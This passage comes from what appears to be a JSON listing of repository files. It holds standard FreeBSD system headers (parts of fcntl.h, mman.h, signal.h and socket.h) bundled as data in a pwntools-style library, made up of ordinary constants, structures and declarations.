*/\n#define\tPOSIX_FADV_SEQUENTIAL\t2\t/* expect sequential page references */\n#define\tPOSIX_FADV_WILLNEED\t3\t/* will need these pages */\n#define\tPOSIX_FADV_DONTNEED\t4\t/* dont need these pages */\n#define\tPOSIX_FADV_NOREUSE\t5\t/* access data only once */\n#endif\n\n#ifndef _KERNEL\n__BEGIN_DECLS\nint\topen(const char *, int, ...);\nint\tcreat(const char *, mode_t);\nint\tfcntl(int, int, ...);\n#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200809\nint\topenat(int, const char *, int, ...);\n#endif\n#if __BSD_VISIBLE || __POSIX_VISIBLE >= 200112\nint\tposix_fadvise(int, off_t, off_t, int);\nint\tposix_fallocate(int, off_t, off_t);\n#endif\n#if __BSD_VISIBLE\nint\tflock(int, int);\n#endif\n__END_DECLS\n#endif\n\n#endif /* !_SYS_FCNTL_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/mman.h",
    "content": "/*-\n * Copyright (c) 1982, 1986, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)mman.h\t8.2 (Berkeley) 1/9/95\n * $FreeBSD$\n */\n\n#ifndef _SYS_MMAN_H_\n#define _SYS_MMAN_H_\n\n#include <sys/cdefs.h>\n#include <sys/_types.h>\n\n#if __BSD_VISIBLE\n/*\n * Inheritance for minherit()\n */\n#define INHERIT_SHARE\t0\n#define INHERIT_COPY\t1\n#define INHERIT_NONE\t2\n#endif\n\n/*\n * Protections are chosen from these bits, or-ed together\n */\n#define\tPROT_NONE\t0x00\t/* no permissions */\n#define\tPROT_READ\t0x01\t/* pages can be read */\n#define\tPROT_WRITE\t0x02\t/* pages can be written */\n#define\tPROT_EXEC\t0x04\t/* pages can be executed */\n\n/*\n * Flags contain sharing type and options.\n * Sharing types; choose one.\n */\n#define\tMAP_SHARED\t0x0001\t\t/* share changes */\n#define\tMAP_PRIVATE\t0x0002\t\t/* changes are private */\n#if __BSD_VISIBLE\n#define\tMAP_COPY\tMAP_PRIVATE\t/* Obsolete */\n#endif\n\n/*\n * Other flags\n */\n#define\tMAP_FIXED\t 0x0010\t/* map addr must be exactly as requested */\n\n#if __BSD_VISIBLE\n#define\tMAP_RENAME\t 0x0020\t/* Sun: rename private pages to file */\n#define\tMAP_NORESERVE\t 0x0040\t/* Sun: don't reserve needed swap area */\n#define\tMAP_RESERVED0080 0x0080\t/* previously misimplemented MAP_INHERIT */\n#define\tMAP_RESERVED0100 0x0100\t/* previously unimplemented MAP_NOEXTEND */\n#define\tMAP_HASSEMAPHORE 0x0200\t/* region may contain semaphores */\n#define\tMAP_STACK\t 0x0400\t/* region grows down, like a stack */\n#define\tMAP_NOSYNC\t 0x0800 /* page to but do not sync underlying file */\n\n/*\n * Mapping type\n */\n#define\tMAP_FILE\t 0x0000\t/* map from file (default) */\n#define\tMAP_ANON\t 0x1000\t/* allocated from memory, swap space */\n#ifndef _KERNEL\n#define\tMAP_ANONYMOUS\t MAP_ANON /* For compatibility. */\n#endif /* !_KERNEL */\n\n/*\n * Extended flags\n */\n#define\tMAP_NOCORE\t 0x00020000 /* dont include these pages in a coredump */\n#define\tMAP_PREFAULT_READ 0x00040000 /* prefault mapping for reading */\n#endif /* __BSD_VISIBLE */\n\n#if __POSIX_VISIBLE >= 199309\n/*\n * Process memory locking\n */\n#define MCL_CURRENT\t0x0001\t/* Lock only current memory */\n#define MCL_FUTURE\t0x0002\t/* Lock all future memory as well */\n#endif\n\n/*\n * Error return from mmap()\n */\n#define MAP_FAILED\t((void *)-1)\n\n/*\n * msync() flags\n */\n#define\tMS_SYNC\t\t0x0000\t/* msync synchronously */\n#define MS_ASYNC\t0x0001\t/* return immediately */\n#define MS_INVALIDATE\t0x0002\t/* invalidate all cached data */\n\n/*\n * Advice to madvise\n */\n#define\t_MADV_NORMAL\t0\t/* no further special treatment */\n#define\t_MADV_RANDOM\t1\t/* expect random page references */\n#define\t_MADV_SEQUENTIAL 2\t/* expect sequential page references */\n#define\t_MADV_WILLNEED\t3\t/* will need these pages */\n#define\t_MADV_DONTNEED\t4\t/* dont need these pages */\n\n#if __BSD_VISIBLE\n#define\tMADV_NORMAL\t_MADV_NORMAL\n#define\tMADV_RANDOM\t_MADV_RANDOM\n#define\tMADV_SEQUENTIAL _MADV_SEQUENTIAL\n#define\tMADV_WILLNEED\t_MADV_WILLNEED\n#define\tMADV_DONTNEED\t_MADV_DONTNEED\n#define\tMADV_FREE\t5\t/* dont need these pages, and junk contents */\n#define\tMADV_NOSYNC\t6\t/* try to avoid flushes to physical media */\n#define\tMADV_AUTOSYNC\t7\t/* revert to default flushing strategy */\n#define\tMADV_NOCORE\t8\t/* do not include these pages in a core file */\n#define\tMADV_CORE\t9\t/* revert to including pages in a core file */\n#define\tMADV_PROTECT\t10\t/* protect process from pageout kill */\n\n/*\n * Return bits from mincore\n */\n#define\tMINCORE_INCORE\t \t 0x1 /* Page is incore */\n#define\tMINCORE_REFERENCED\t 0x2 /* Page has been referenced by us */\n#define\tMINCORE_MODIFIED\t 0x4 /* Page has been modified by us */\n#define\tMINCORE_REFERENCED_OTHER 0x8 /* Page has been referenced */\n#define\tMINCORE_MODIFIED_OTHER\t0x10 /* Page has been modified */\n#define\tMINCORE_SUPER\t\t0x20 /* Page is a \"super\" page */\n\n/*\n * Anonymous object constant for shm_open().\n */\n#define\tSHM_ANON\t\t((char *)1)\n#endif /* __BSD_VISIBLE */\n\n/*\n * XXX missing POSIX_TYPED_MEM_* macros and\n * posix_typed_mem_info structure.\n */\n#if __POSIX_VISIBLE >= 200112\n#define\tPOSIX_MADV_NORMAL\t_MADV_NORMAL\n#define\tPOSIX_MADV_RANDOM\t_MADV_RANDOM\n#define\tPOSIX_MADV_SEQUENTIAL\t_MADV_SEQUENTIAL\n#define\tPOSIX_MADV_WILLNEED\t_MADV_WILLNEED\n#define\tPOSIX_MADV_DONTNEED\t_MADV_DONTNEED\n#endif\n\n#ifndef _MODE_T_DECLARED\ntypedef\t__mode_t\tmode_t;\n#define\t_MODE_T_DECLARED\n#endif\n\n#ifndef _OFF_T_DECLARED\ntypedef\t__off_t\t\toff_t;\n#define\t_OFF_T_DECLARED\n#endif\n\n#ifndef _SIZE_T_DECLARED\ntypedef\t__size_t\tsize_t;\n#define\t_SIZE_T_DECLARED\n#endif\n\n#if defined(_KERNEL) || defined(_WANT_FILE)\n#include <vm/vm.h>\n\nstruct file;\n\nstruct shmfd {\n\tsize_t\t\tshm_size;\n\tvm_object_t\tshm_object;\n\tint\t\tshm_refs;\n\tuid_t\t\tshm_uid;\n\tgid_t\t\tshm_gid;\n\tmode_t\t\tshm_mode;\n\tint\t\tshm_kmappings;\n\n\t/*\n\t * Values maintained solely to make this a better-behaved file\n\t * descriptor for fstat() to run on.\n\t */\n\tstruct timespec\tshm_atime;\n\tstruct timespec\tshm_mtime;\n\tstruct timespec\tshm_ctime;\n\tstruct timespec\tshm_birthtime;\n\n\tstruct label\t*shm_label;\t\t/* MAC label */\n\tconst char\t*shm_path;\n};\n#endif\n\n#ifdef _KERNEL\nint\tshm_mmap(struct shmfd *shmfd, vm_size_t objsize, vm_ooffset_t foff,\n\t    vm_object_t *obj);\nint\tshm_map(struct file *fp, size_t size, off_t offset, void **memp);\nint\tshm_unmap(struct file *fp, void *mem, size_t size);\nvoid\tshm_path(struct shmfd *shmfd, char *path, size_t size);\n\n#else /* !_KERNEL */\n\n__BEGIN_DECLS\n/*\n * XXX not yet implemented: posix_mem_offset(), posix_typed_mem_get_info(),\n * posix_typed_mem_open().\n */\n#if __BSD_VISIBLE\nint\tgetpagesizes(size_t *, int);\nint\tmadvise(void *, size_t, int);\nint\tmincore(const void *, size_t, char *);\nint\tminherit(void *, size_t, int);\n#endif\nint\tmlock(const void *, size_t);\n#ifndef _MMAP_DECLARED\n#define\t_MMAP_DECLARED\nvoid *\tmmap(void *, size_t, int, int, int, off_t);\n#endif\nint\tmprotect(const void *, size_t, int);\nint\tmsync(void *, size_t, int);\nint\tmunlock(const void *, size_t);\nint\tmunmap(void *, size_t);\n#if __POSIX_VISIBLE >= 200112\nint\tposix_madvise(void *, size_t, int);\n#endif\n#if __POSIX_VISIBLE >= 199309\nint\tmlockall(int);\nint\tmunlockall(void);\nint\tshm_open(const char *, int, mode_t);\nint\tshm_unlink(const char *);\n#endif\n__END_DECLS\n\n#endif /* !_KERNEL */\n\n#endif /* !_SYS_MMAN_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/signal.h",
    "content": "/*-\n * Copyright (c) 1982, 1986, 1989, 1991, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n * (c) UNIX System Laboratories, Inc.\n * All or some portions of this file are derived from material licensed\n * to the University of California by American Telephone and Telegraph\n * Co. or Unix System Laboratories, Inc. and are reproduced herein with\n * the permission of UNIX System Laboratories, Inc.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)signal.h\t8.4 (Berkeley) 5/4/95\n * $FreeBSD$\n */\n\n#ifndef _SYS_SIGNAL_H_\n#define\t_SYS_SIGNAL_H_\n\n#include <sys/cdefs.h>\n#include <sys/_types.h>\n#include <sys/_sigset.h>\n\n#include <machine/_limits.h>\t/* __MINSIGSTKSZ */\n#include <machine/signal.h>\t/* sig_atomic_t; trap codes; sigcontext */\n\n/*\n * System defined signals.\n */\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGHUP\t\t1\t/* hangup */\n#endif\n#define\tSIGINT\t\t2\t/* interrupt */\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGQUIT\t\t3\t/* quit */\n#endif\n#define\tSIGILL\t\t4\t/* illegal instr. (not reset when caught) */\n#if __XSI_VISIBLE\n#define\tSIGTRAP\t\t5\t/* trace trap (not reset when caught) */\n#endif\n#define\tSIGABRT\t\t6\t/* abort() */\n#if __BSD_VISIBLE\n#define\tSIGIOT\t\tSIGABRT\t/* compatibility */\n#define\tSIGEMT\t\t7\t/* EMT instruction */\n#endif\n#define\tSIGFPE\t\t8\t/* floating point exception */\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGKILL\t\t9\t/* kill (cannot be caught or ignored) */\n#endif\n#if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE\n#define\tSIGBUS\t\t10\t/* bus error */\n#endif\n#define\tSIGSEGV\t\t11\t/* segmentation violation */\n#if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE\n#define\tSIGSYS\t\t12\t/* non-existent system call invoked */\n#endif\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGPIPE\t\t13\t/* write on a pipe with no one to read it */\n#define\tSIGALRM\t\t14\t/* alarm clock */\n#endif\n#define\tSIGTERM\t\t15\t/* software termination signal from kill */\n#if __POSIX_VISIBLE >= 200112 || __XSI_VISIBLE\n#define\tSIGURG\t\t16\t/* urgent condition on IO channel */\n#endif\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGSTOP\t\t17\t/* sendable stop signal not from tty */\n#define\tSIGTSTP\t\t18\t/* stop signal from tty */\n#define\tSIGCONT\t\t19\t/* continue a stopped process */\n#define\tSIGCHLD\t\t20\t/* to parent on child stop or exit */\n#define\tSIGTTIN\t\t21\t/* to readers pgrp upon background tty read */\n#define\tSIGTTOU\t\t22\t/* like TTIN if (tp->t_local&LTOSTOP) */\n#endif\n#if __BSD_VISIBLE\n#define\tSIGIO\t\t23\t/* input/output possible signal */\n#endif\n#if __XSI_VISIBLE\n#define\tSIGXCPU\t\t24\t/* exceeded CPU time limit */\n#define\tSIGXFSZ\t\t25\t/* exceeded file size limit */\n#define\tSIGVTALRM\t26\t/* virtual time alarm */\n#define\tSIGPROF\t\t27\t/* profiling time alarm */\n#endif\n#if __BSD_VISIBLE\n#define\tSIGWINCH\t28\t/* window size changes */\n#define\tSIGINFO\t\t29\t/* information request */\n#endif\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSIGUSR1\t\t30\t/* user defined signal 1 */\n#define\tSIGUSR2\t\t31\t/* user defined signal 2 */\n#endif\n#if __BSD_VISIBLE\n#define\tSIGTHR\t\t32\t/* reserved by thread library. */\n#define\tSIGLWP\t\tSIGTHR\n#endif\n\n#define\tSIGRTMIN\t65\n#define\tSIGRTMAX\t126\n\n#define\tSIG_DFL\t\t((__sighandler_t *)0)\n#define\tSIG_IGN\t\t((__sighandler_t *)1)\n#define\tSIG_ERR\t\t((__sighandler_t *)-1)\n/* #define\tSIG_CATCH\t((__sighandler_t *)2) See signalvar.h */\n#define SIG_HOLD        ((__sighandler_t *)3)\n\n/*\n * Type of a signal handling function.\n *\n * Language spec sez signal handlers take exactly one arg, even though we\n * actually supply three.  Ugh!\n *\n * We don't try to hide the difference by leaving out the args because\n * that would cause warnings about conformant programs.  Nonconformant\n * programs can avoid the warnings by casting to (__sighandler_t *) or\n * sig_t before calling signal() or assigning to sa_handler or sv_handler.\n *\n * The kernel should reverse the cast before calling the function.  It\n * has no way to do this, but on most machines 1-arg and 3-arg functions\n * have the same calling protocol so there is no problem in practice.\n * A bit in sa_flags could be used to specify the number of args.\n */\ntypedef\tvoid __sighandler_t(int);\n\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#ifndef _SIGSET_T_DECLARED\n#define\t_SIGSET_T_DECLARED\ntypedef\t__sigset_t\tsigset_t;\n#endif\n#endif\n\n#if __POSIX_VISIBLE >= 199309 || __XSI_VISIBLE >= 500\nunion sigval {\n\t/* Members as suggested by Annex C of POSIX 1003.1b. */\n\tint\tsival_int;\n\tvoid\t*sival_ptr;\n\t/* 6.0 compatibility */\n\tint     sigval_int;\n\tvoid    *sigval_ptr;\n};\n#endif\n\n#if __POSIX_VISIBLE >= 199309\nstruct sigevent {\n\tint\tsigev_notify;\t\t/* Notification type */\n\tint\tsigev_signo;\t\t/* Signal number */\n\tunion sigval sigev_value;\t/* Signal value */\n\tunion {\n\t\t__lwpid_t\t_threadid;\n\t\tstruct {\n\t\t\tvoid (*_function)(union sigval);\n\t\t\tvoid *_attribute; /* pthread_attr_t * */\n\t\t} _sigev_thread;\n\t\tunsigned short _kevent_flags;\n\t\tlong __spare__[8];\n\t} _sigev_un;\n};\n\n#if __BSD_VISIBLE\n#define\tsigev_notify_kqueue\t\tsigev_signo\n#define\tsigev_notify_kevent_flags\t_sigev_un._kevent_flags\n#define\tsigev_notify_thread_id\t\t_sigev_un._threadid\n#endif\n#define\tsigev_notify_function\t\t_sigev_un._sigev_thread._function\n#define\tsigev_notify_attributes\t\t_sigev_un._sigev_thread._attribute\n\n#define\tSIGEV_NONE\t0\t\t/* No async notification. */\n#define\tSIGEV_SIGNAL\t1\t\t/* Generate a queued signal. */\n#define\tSIGEV_THREAD\t2\t\t/* Call back from another pthread. */\n#if __BSD_VISIBLE\n#define\tSIGEV_KEVENT\t3\t\t/* Generate a kevent. */\n#define\tSIGEV_THREAD_ID\t4\t\t/* Send signal to a kernel thread. */\n#endif\n#endif /* __POSIX_VISIBLE >= 199309 */\n\n#if __POSIX_VISIBLE >= 199309 || __XSI_VISIBLE\ntypedef\tstruct __siginfo {\n\tint\tsi_signo;\t\t/* signal number */\n\tint\tsi_errno;\t\t/* errno association */\n\t/*\n\t * Cause of signal, one of the SI_ macros or signal-specific\n\t * values, i.e. one of the FPE_... values for SIGFPE.  This\n\t * value is equivalent to the second argument to an old-style\n\t * FreeBSD signal handler.\n\t */\n\tint\tsi_code;\t\t/* signal code */\n\t__pid_t\tsi_pid;\t\t\t/* sending process */\n\t__uid_t\tsi_uid;\t\t\t/* sender's ruid */\n\tint\tsi_status;\t\t/* exit value */\n\tvoid\t*si_addr;\t\t/* faulting instruction */\n\tunion sigval si_value;\t\t/* signal value */\n\tunion\t{\n\t\tstruct {\n\t\t\tint\t_trapno;/* machine specific trap code */\n\t\t} _fault;\n\t\tstruct {\n\t\t\tint\t_timerid;\n\t\t\tint\t_overrun;\n\t\t} _timer;\n\t\tstruct {\n\t\t\tint\t_mqd;\n\t\t} _mesgq;\n\t\tstruct {\n\t\t\tlong\t_band;\t\t/* band event for SIGPOLL */\n\t\t} _poll;\t\t\t/* was this ever used ? */\n\t\tstruct {\n\t\t\tlong\t__spare1__;\n\t\t\tint\t__spare2__[7];\n\t\t} __spare__;\n\t} _reason;\n} siginfo_t;\n\n#define si_trapno\t_reason._fault._trapno\n#define si_timerid\t_reason._timer._timerid\n#define si_overrun\t_reason._timer._overrun\n#define si_mqd\t\t_reason._mesgq._mqd\n#define si_band\t\t_reason._poll._band\n\n/** si_code **/\n/* codes for SIGILL */\n#define ILL_ILLOPC \t1\t/* Illegal opcode.\t\t\t*/\n#define ILL_ILLOPN \t2\t/* Illegal operand.\t\t\t*/\n#define ILL_ILLADR \t3\t/* Illegal addressing mode.\t\t*/\n#define ILL_ILLTRP \t4\t/* Illegal trap.\t\t\t*/\n#define ILL_PRVOPC \t5\t/* Privileged opcode.\t\t\t*/\n#define ILL_PRVREG \t6\t/* Privileged register.\t\t\t*/\n#define ILL_COPROC \t7\t/* Coprocessor error.\t\t\t*/\n#define ILL_BADSTK \t8\t/* Internal stack error.\t\t*/\n\n/* codes for SIGBUS */\n#define BUS_ADRALN\t1\t/* Invalid address alignment.\t\t*/\n#define BUS_ADRERR\t2\t/* Nonexistent physical address.\t*/\n#define BUS_OBJERR\t3\t/* Object-specific hardware error.\t*/\n\n/* codes for SIGSEGV */\n#define SEGV_MAPERR\t1\t/* Address not mapped to object.\t*/\n#define SEGV_ACCERR\t2\t/* Invalid permissions for mapped\t*/\n\t\t\t\t/* object.\t\t\t\t*/\n\n/* codes for SIGFPE */\n#define FPE_INTOVF\t1\t/* Integer overflow.\t\t\t*/\n#define FPE_INTDIV\t2\t/* Integer divide by zero.\t\t*/\n#define FPE_FLTDIV\t3\t/* Floating point divide by zero.\t*/\n#define FPE_FLTOVF\t4\t/* Floating point overflow.\t\t*/\n#define FPE_FLTUND\t5\t/* Floating point underflow.\t\t*/\n#define FPE_FLTRES\t6\t/* Floating point inexact result.\t*/\n#define FPE_FLTINV\t7\t/* Invalid floating point operation.\t*/\n#define FPE_FLTSUB\t8\t/* Subscript out of range.\t\t*/\n\n/* codes for SIGTRAP */\n#define TRAP_BRKPT\t1\t/* Process breakpoint.\t\t\t*/\n#define TRAP_TRACE\t2\t/* Process trace trap.\t\t\t*/\n#define\tTRAP_DTRACE\t3\t/* DTrace induced trap.\t\t\t*/\n\n/* codes for SIGCHLD */\n#define CLD_EXITED\t1\t/* Child has exited\t\t\t*/\n#define CLD_KILLED\t2\t/* Child has terminated abnormally but\t*/\n\t\t\t\t/* did not create a core file\t\t*/\n#define CLD_DUMPED\t3\t/* Child has terminated abnormally and\t*/\n\t\t\t\t/* created a core file\t\t\t*/\n#define CLD_TRAPPED\t4\t/* Traced child has trapped\t\t*/\n#define CLD_STOPPED\t5\t/* Child has stopped\t\t\t*/\n#define CLD_CONTINUED\t6\t/* Stopped child has continued\t\t*/\n\n/* codes for SIGPOLL */\n#define POLL_IN\t\t1\t/* Data input available\t\t\t*/\n#define POLL_OUT\t2\t/* Output buffers available\t\t*/\n#define POLL_MSG\t3\t/* Input message available\t\t*/\n#define POLL_ERR\t4\t/* I/O Error\t\t\t\t*/\n#define POLL_PRI\t5\t/* High priority input available\t*/\n#define POLL_HUP\t6\t/* Device disconnected\t\t\t*/\n\n#endif\n\n#if __POSIX_VISIBLE || __XSI_VISIBLE\nstruct __siginfo;\n\n/*\n * Signal vector \"template\" used in sigaction call.\n */\nstruct sigaction {\n\tunion {\n\t\tvoid    (*__sa_handler)(int);\n\t\tvoid    (*__sa_sigaction)(int, struct __siginfo *, void *);\n\t} __sigaction_u;\t\t/* signal handler */\n\tint\tsa_flags;\t\t/* see signal options below */\n\tsigset_t sa_mask;\t\t/* signal mask to apply */\n};\n\n#define\tsa_handler\t__sigaction_u.__sa_handler\n#endif\n\n#if __XSI_VISIBLE\n/* If SA_SIGINFO is set, sa_sigaction must be used instead of sa_handler. */\n#define\tsa_sigaction\t__sigaction_u.__sa_sigaction\n#endif\n\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSA_NOCLDSTOP\t0x0008\t/* do not generate SIGCHLD on child stop */\n#endif /* __POSIX_VISIBLE || __XSI_VISIBLE */\n\n#if __XSI_VISIBLE\n#define\tSA_ONSTACK\t0x0001\t/* take signal on signal stack */\n#define\tSA_RESTART\t0x0002\t/* restart system call on signal return */\n#define\tSA_RESETHAND\t0x0004\t/* reset to SIG_DFL when taking signal */\n#define\tSA_NODEFER\t0x0010\t/* don't mask the signal we're delivering */\n#define\tSA_NOCLDWAIT\t0x0020\t/* don't keep zombies around */\n#define\tSA_SIGINFO\t0x0040\t/* signal handler with SA_SIGINFO args */\n#endif\n\n#if __BSD_VISIBLE\n#define\tNSIG\t\t32\t/* number of old signals (counting 0) */\n#endif\n\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n#define\tSI_NOINFO\t0\t\t/* No signal info besides si_signo. */\n#define\tSI_USER\t\t0x10001\t\t/* Signal sent by kill(). */\n#define\tSI_QUEUE\t0x10002\t\t/* Signal sent by the sigqueue(). */\n#define\tSI_TIMER\t0x10003\t\t/* Signal generated by expiration of */\n\t\t\t\t\t/* a timer set by timer_settime(). */\n#define\tSI_ASYNCIO\t0x10004\t\t/* Signal generated by completion of */\n\t\t\t\t\t/* an asynchronous I/O request.*/\n#define\tSI_MESGQ\t0x10005\t\t/* Signal generated by arrival of a */\n\t\t\t\t\t/* message on an empty message queue. */\n#define\tSI_KERNEL\t0x10006\n#define\tSI_LWP\t\t0x10007\t\t/* Signal sent by thr_kill */\n#endif\n#if __BSD_VISIBLE\n#define\tSI_UNDEFINED\t0\n#endif\n\n#if __BSD_VISIBLE\ntypedef\t__sighandler_t\t*sig_t;\t/* type of pointer to a signal function */\ntypedef\tvoid __siginfohandler_t(int, struct __siginfo *, void *);\n#endif\n\n#if __XSI_VISIBLE\n/*\n * Structure used in sigaltstack call.\n */\n#if __BSD_VISIBLE\ntypedef\tstruct sigaltstack {\n#else\ntypedef\tstruct {\n#endif\n\tchar\t*ss_sp;\t\t\t/* signal stack base */\n\t__size_t ss_size;\t\t/* signal stack length */\n\tint\tss_flags;\t\t/* SS_DISABLE and/or SS_ONSTACK */\n} stack_t;\n\n#define\tSS_ONSTACK\t0x0001\t/* take signal on alternate stack */\n#define\tSS_DISABLE\t0x0004\t/* disable taking signals on alternate stack */\n#define\tMINSIGSTKSZ\t__MINSIGSTKSZ\t\t/* minimum stack size */\n#define\tSIGSTKSZ\t(MINSIGSTKSZ + 32768)\t/* recommended stack size */\n#endif\n\n#if __BSD_VISIBLE\n/*\n * 4.3 compatibility:\n * Signal vector \"template\" used in sigvec call.\n */\nstruct sigvec {\n\t__sighandler_t *sv_handler;\t/* signal handler */\n\tint\tsv_mask;\t\t/* signal mask to apply */\n\tint\tsv_flags;\t\t/* see signal options below */\n};\n\n#define\tSV_ONSTACK\tSA_ONSTACK\n#define\tSV_INTERRUPT\tSA_RESTART\t/* same bit, opposite sense */\n#define\tSV_RESETHAND\tSA_RESETHAND\n#define\tSV_NODEFER\tSA_NODEFER\n#define\tSV_NOCLDSTOP\tSA_NOCLDSTOP\n#define\tSV_SIGINFO\tSA_SIGINFO\n#define\tsv_onstack\tsv_flags\t/* isn't compatibility wonderful! */\n#endif\n\n/* Keep this in one place only */\n#if defined(_KERNEL) && defined(COMPAT_43) && \\\n    !defined(__i386__)\nstruct osigcontext {\n\tint _not_used;\n};\n#endif\n\n#if __XSI_VISIBLE\n/*\n * Structure used in sigstack call.\n */\nstruct sigstack {\n\t/* XXX ss_sp's type should be `void *'. */\n\tchar\t*ss_sp;\t\t\t/* signal stack pointer */\n\tint\tss_onstack;\t\t/* current status */\n};\n#endif\n\n#if __BSD_VISIBLE || __POSIX_VISIBLE > 0 && __POSIX_VISIBLE <= 200112\n/*\n * Macro for converting signal number to a mask suitable for\n * sigblock().\n */\n#define\tsigmask(m)\t(1 << ((m)-1))\n#endif\n\n#if __BSD_VISIBLE\n#define\tBADSIG\t\tSIG_ERR\n#endif\n\n#if __POSIX_VISIBLE || __XSI_VISIBLE\n/*\n * Flags for sigprocmask:\n */\n#define\tSIG_BLOCK\t1\t/* block specified signal set */\n#define\tSIG_UNBLOCK\t2\t/* unblock specified signal set */\n#define\tSIG_SETMASK\t3\t/* set specified signal set */\n#endif\n\n/*\n * For historical reasons; programs expect signal's return value to be\n * defined by <sys/signal.h>.\n */\n__BEGIN_DECLS\n__sighandler_t *signal(int, __sighandler_t *);\n__END_DECLS\n\n#endif /* !_SYS_SIGNAL_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/socket.h",
    "content": "/*-\n * Copyright (c) 1982, 1985, 1986, 1988, 1993, 1994\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)socket.h\t8.4 (Berkeley) 2/21/94\n * $FreeBSD$\n */\n\n#ifndef _SYS_SOCKET_H_\n#define\t_SYS_SOCKET_H_\n\n#include <sys/cdefs.h>\n#include <sys/_types.h>\n#include <sys/_iovec.h>\n#include <machine/_align.h>\n\n/*\n * Definitions related to sockets: types, address families, options.\n 